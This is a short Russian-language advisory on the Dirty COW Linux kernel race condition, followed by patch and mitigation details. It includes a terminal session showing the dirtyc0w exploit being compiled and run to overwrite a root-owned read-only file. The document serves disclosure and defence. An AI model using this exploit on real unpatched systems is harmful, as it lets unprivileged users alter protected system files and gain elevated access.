Уязвимость вызвана состоянием гонки при обработке copy-on-write (COW) операций в подсистеме управления памятью и позволяет нарушить работу маппинга памяти в режиме только для чтения. С практической стороны, проблема позволяет осуществить запись в области памяти, отражённые в режиме только для чтения. Например, в прототипе эксплоита показано как использовать данную проблему для изменения содержимого файла, принадлежащего пользователю root и доступного только на чтение. В том числе, при помощи предложенного метода атаки непривилегированный злоумышленник может изменить исполняемые системные файлы, обойдя штатные механизмы управления доступом.
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
Уязвимость устранена в выпусках ядра Linux 4.8.3, 4.7.9 и 4.4.26. Обновления пакетов с ядром уже сформированы для дистрибутивов Debian, Ubuntu, Mageia, SUSE, Fedora. Для openSUSE, CentOS и RHEL исправления пока не выпущены (в RHEL/CentOS 5 и 6 представленный эксплоит не работает из-за закрытия /proc/self/mem на запись, но в RHEL/CentOS 7 такого ограничения нет). Для временного блокирования уязвимости в RHEL/CentOS 7 подготовлен сценарий SystemTap.
